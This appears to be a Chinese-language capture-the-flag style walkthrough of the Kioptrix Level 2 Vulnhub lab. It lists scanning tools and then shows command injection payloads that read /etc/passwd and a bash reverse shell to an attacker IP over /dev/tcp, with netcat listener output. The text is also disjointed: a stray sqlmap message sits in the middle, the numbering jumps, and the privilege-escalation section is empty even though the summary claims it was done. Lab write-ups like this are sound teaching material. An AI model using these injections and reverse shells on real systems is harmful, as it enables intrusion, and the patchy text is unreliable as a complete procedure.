今日测试内容渗透Kioptrix Level #2靶机：
Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文介绍Kioptrix Level #2靶机渗透测试，内容包括主机扫描（nmap\netdiscover）、端口扫描（nmap\masscan）、目录扫描（dirb\dirsearch）、netcat、反弹shell、脚本利用、linux内核提权等内容。

KIOPTRIX VM IMAGE CHALLENGES:
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

一、环境配置
1.1 靶场信息
| 官方链接 | https://www.vulnhub.com/entry/kioptrix-level-11-2,23/ |
|---|---|
| 发布日期 | 2011年2月11日 |
| 靶场大小 | 761MB |
| 作者 | Kioptrix |
| 系列 | Kioptrix |
| 难度 | ★☆☆☆☆ |
1.2 靶场配置
- 渗透测试环境配置，请参考作者前面的内容vuInhub靶场实战系列-DC-2实战
- 【解决办法】- 靶机导入VMware后无法自动获取IP地址
- 建议将攻击机（kali）的网络模式设置为【桥接模式】

If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent', skipping to the next target

2.5.4.2 sql注入
三、渗透测试
3.1 尝试注入命令
3.1.1 id
127.0.0.1;id
有返回信息，可以执行远程命令
3.1.2 passwd
127.0.0.1;cat /etc/passwd
可以访问系统文件
3.2 反弹shell
3.2.1 kali监听端口
┌──(root?kali)-[/home/kali]
└─# nc -lvvp 10086
listening on [any] 10086 ...bash终端已经显示，监听端口10086
3.2.2 命令注入
注入命令：127.0.0.1;bash -i>&/dev/tcp/192.168.1.111/10086 0>&1
┌──(root㉿kali)-[/home/kali]
└─# nc -lvvp 10086
listening on [any] 10086 ...
192.168.1.10: inverse host lookup failed: Unknown host
connect to [192.168.1.111] from (UNKNOWN) [192.168.1.10] 32832
bash: no job control in this shell
bash-3.00$
bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)成功获得shell。
此时此刻，kali监听端已经获得了反弹shell，成功进入系统，但权限还不是root，下一步进行提权操作。
3.3 系统提权

渗透总结
在本次Kioptrix Level #2靶机渗透测试，内容包括主机扫描（nmap\netdiscover）、端口扫描（nmap\masscan）、目录扫描（dirb\dirsearch）、netcat、反弹shell、linux内核提权等内容：
- 主机发现
- 目录扫描
- 端口扫描
- netcat监听
- 反弹shell
- linux内核提权
